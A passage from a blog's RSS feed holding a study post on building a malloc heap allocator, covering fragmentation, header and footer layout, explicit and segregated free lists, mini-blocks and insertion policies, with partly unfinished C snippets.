dynamic library. For example, when running a program in gdb: (&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://cdn.sstatic.net/Sites/reverseengineering/Img/apple-touch-icon.png?v=304d2581a262" alt><span class="kg-bookmark-author">Reverse Engineering Stack Exchange</span><span class="kg-bookmark-publisher">perror</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://cdn.sstatic.net/Sites/reverseengineering/Img/apple-touch-icon@2.png?v=5a6ef1bcd2c8" alt></div></a></figure><p>third</p>]]></content:encoded></item><item><title><![CDATA[Malloc Simulator]]></title><description><![CDATA[<h3 id="fragmentation">Fragmentation</h3><ul><li>External Fragmentation: This occurs when there is enough accumulated space but no single block can fit what is needed.</li><li>Internal Fragmentation: Occurs when the actual allocated size exceeds what&apos;s needed. For example, headers might take 8 bytes other than the needed space.</li></ul><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.33.19.png" class="kg-image" alt loading="lazy" width="2000" height="775" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-12.33.19.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-12.33.19.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-12.33.19.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.33.19.png 2070w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.56.50.png" class="kg-image" alt loading="lazy" width="1980" height="464" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-12.56.50.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1980w" sizes="(min-width: 720px) 720px"></figure><p>how to keep track of</p>]]></description><link>https://memoryicecube.com/malloc/</link><guid isPermaLink="false">65fdb69402f5c50001fa5796</guid><category><![CDATA[system]]></category><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Fri, 22 Mar 2024 16:49:24 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1517694712202-14dd9538aa97?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8c2VhcmNofDJ8fGNvbXB1dGVyfGVufDB8fHx8MTcxMjAzMDIwNnww&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<h3 id="fragmentation">Fragmentation</h3><ul><li>External Fragmentation: This occurs when there is enough accumulated space but no single block can fit what is needed.</li><li>Internal Fragmentation: Occurs when the actual allocated size exceeds what&apos;s needed. For example, headers might take 8 bytes other than the needed space.</li></ul><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.33.19.png" class="kg-image" alt="Malloc Simulator" loading="lazy" width="2000" height="775" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-12.33.19.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-12.33.19.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-12.33.19.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.33.19.png 2070w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.56.50.png" class="kg-image" alt="Malloc Simulator" loading="lazy" width="1980" height="464" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-12.56.50.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-12.56.50.png 1980w" sizes="(min-width: 720px) 720px"></figure><img src="https://images.unsplash.com/photo-1517694712202-14dd9538aa97?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8c2VhcmNofDJ8fGNvbXB1dGVyfGVufDB8fHx8MTcxMjAzMDIwNnww&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" alt="Malloc Simulator"><p>how to keep track of free block</p><ul><li>Implicit list</li><li>Explicit list</li><li>segregated list</li></ul><p>Splitting policy: When to split</p><p>Coalescing Policy: When to Coalesce</p><ul><li>immediate coalescing: coalesce each time free is called</li><li>Deferred coalescing: improve the performance of free by deferring coalescing until needed.<strong> Questions need to be addressed: When should I coalesce? If I don&apos;t coalesce immediately, how should I get the correct empty space size?</strong></li></ul><h3 id="structure-of-block">Structure of block</h3><p>We need the header, next pointer, prev pointers, and payload. For the footer, we don&apos;t need to care about it, we just append it at the end of the block.</p><pre><code class="language-c">struct block {
    /** @brief Header contains size + allocation flag */
    word_t header;
    uint8_t payload[0];
};</code></pre><p>payload[0]</p><h4 id="footer">Footer</h4><p>What does the footer do? <br>It indicate whether the current block is allocated or not. After we know this, we can decide if we want to coalesce with the previous block. Also, it contains the size of the blocks, so that we can reach the previous block by minus the size of the previous block and its footer from current block address.</p><p>Why do we need footer, isn&apos;t that the header already has bit to indicate the current block is allocated? <br>So that we are able to know if the previous block is allocated or not by checking the previous footer using it&apos;s address. When we want to get the address of the previous block, we need the size of the previous block to reach the header of the previous block. The previous footer address can be found using the current block header address minus 8 bytes. Similarly, we can also find the address of the next block and know if it is allocated by looking at its header. </p><p></p><h3 id="implicit-list">Implicit list</h3><p>placement policy:</p><ul><li>First-fit: Search list from the beginning, and choose a first free block that fits</li><li>Next-fit: Search list starting where the previous search finished<br>Use case: usage would be best if the request space is increasing.</li><li>Best-fit: Search the list, choose the best free block: fits, with the fewest bytes left over</li></ul><p></p><h3 id="explicit-list">Explicit List</h3><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-04-at-11.53.00.png" class="kg-image" alt="Malloc Simulator" loading="lazy" width="1456" height="226" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-04-at-11.53.00.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-04-at-11.53.00.png 1000w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-04-at-11.53.00.png 1456w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">refer to cmu 15213 slide </span></figcaption></figure><p>Similar to implicit but need to build a linked list for the free node. One thing need to notice is that now we also need to reserve space in the empty block for the pointer.</p><pre><code class="language-c">struct block {
    /** @brief Header contains size + allocation flag */
    word_t header;
    union {
        uint8_t payload[0];
        struct {
            block_t *prev;
            block_t *next;
        } free_list_pointer;
    } payload_union;
};</code></pre><p>We allocated space for prev and next pointer, so now we </p><pre><code class="language-c">/**
 * @brief Insert node into the free list using LIFO
 *
 * @param[in] block A block in the heap
 * @return root of the free list
 * @pre The block is valid
 */
static void free_list_insert(block_t *block) {
    // make sure block != NULL
    // make sure block does not get allocated
    block_t *next = free_list_root;
    block-&gt;free_list_pointer.prev = NULL;
    block-&gt;free_list_pointer.next = NULL;
    if (next == NULL) {
        // when free_list is empty
        block-&gt;free_list_pointer.next = NULL;
    } else {
        block-&gt;free_list_pointer.next = next;
        next-&gt;free_list_pointer.prev = block;
    }
    free_list_root = block;
}

/**
 * @brief Remove node from the free list
 *
 * @param[in] block A block in the heap
 * @return root of the free list
 * @pre The block is valid
 */
static void free_list_remove(block_t *block) {
    // make sure block != NULL
    // make sure block does not get allocated
    block_t *prev = block-&gt;free_list_pointer.prev;
    block_t *next = block-&gt;free_list_pointer.next;
    if (prev == NULL &amp;&amp; next == NULL) {
        // when it is the only one in free list
        free_list_root = NULL;
    } else if (prev == NULL) {
        // when it is the first
        free_list_root = next;
        next-&gt;free_list_pointer.prev = NULL;
    } else {
        // when it is the last
        ...

    }

}</code></pre><p></p><p></p><h3 id="segregated-free-list">Segregated Free List</h3><h5 id></h5><p>Best-fit allows us to minimize fragmentation. But the time complexity is extremely high. So if we combine it with the idea of explicit-list, there is a wonderful idea: what if we use free lists of different sizes? If most of the required space are 25 or 85, why don&apos;t we build a free list for those between 24 to 32 bytes? Why don&apos;t we build a free list for those between 80 to 88 bytes? Now we have two free list buckets. </p><p>So now, we are also able to approximate best-fit in O(k) where k is the number of free list buckets. </p><h3 id="additional-improvement">Additional Improvement</h3><h4 id="eliminate-footer">Eliminate footer</h4><p>The footer is used to easily look up if the previous block is allocated, and contains size for us to reach the previous block. </p><p>But when do we really need to reach the previous block? When coalescing with the previous block. <br>When do we need to coalescing with the previous block? When the previous block is free.<br>In conclusion, we only need the previous block&apos;s footer when it is free. The same applies for the current block and all other blocks. So we know the block only needs footer when it is free. But we don&apos;t need it when it is not.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-09-at-12.57.47.png" class="kg-image" alt="Malloc Simulator" loading="lazy" width="1564" height="792" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-09-at-12.57.47.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-09-at-12.57.47.png 1000w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-09-at-12.57.47.png 1564w" sizes="(min-width: 720px) 720px"></figure><p>Since our block should be a multiple of 16 bytes and has a minimal size of 32, we can safely assure that there will be space for the footer in the empty spot.</p><h4 id="how-to-reduce-the-minimal-size">How to reduce the minimal size? </h4><p>The standard explicit list node would be 32 bytes, 8 bytes for header, 16 bytes for the next pointer and prev pointers. But can we minimize it to 16 bytes? What if we trade time complexity with internal fragmentation?</p><p>We can create a free list for mini-block only, as such we are able to ignore the prev pointer. &quot;But our struct still contains the prev pointer, would the space is taken when we malloc?&quot; No, that space will never be used unless we try to access it. So, we should put the prev pointer at the end of the struct.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">struct block {
    /** @brief Header contains size + allocation flag */
    word_t header;
    union {
        uint8_t payload[0];
        struct {
            block_t *next;
            block_t *prev;
        } free_list_pointer;
    } payload_union;
};</code></pre><figcaption><p><span style="white-space: pre-wrap;">code for revised to suit mini-blocks</span></p></figcaption></figure><p>In this way, this will also work fine for all other sizes of block. For mini-block, we just NEVER access the prev pointer. </p><p>Without the prev pointer, how can we find the prev block when we are doing removal of the block? (Insertion does not need prev info since we are attaching node to the tail) Since there is a designated free list for mini-block, there won&apos;t be so many free mini-blocks there, so we can traverse the whole free list to find the prev we want.</p><figure class="kg-card kg-code-card"><pre><code class="language-c">    block_t *curr = free_lists_head[0].head;
    # requires curr != NULL
    block_t *prev = curr;
    while ((size_t)curr != (size_t)block) {
        prev = curr;
        dbg_requires(curr-&gt;payload_union.free_list_pointer.next != NULL);
        curr = curr-&gt;payload_union.free_list_pointer.next;
    }</code></pre><figcaption><p><span style="white-space: pre-wrap;">Code for removing mini-blocks from free list</span></p></figcaption></figure><h3 id="free-list-insertionremoval-policy">Free List insertion/removal policy</h3><ul><li>FIFO<br>Have better fragmentation than LIFO because the earlier free block is more likely to have lower address number and keep using up lower address first can fill up the lower address. Else, we keep assigning space everywhere which cause lots of fragmentation instead of filling out one space first.</li><li>LIFO</li><li>Address-ordered policy(increasing)<br>Fragmentation is lower but require search every insertion. Fragmentation is lower when applying first fit approach. In this case, we also prioritize need to fill out the space with lower address as described in FIFO. </li></ul>]]></content:encoded></item></channel></rss>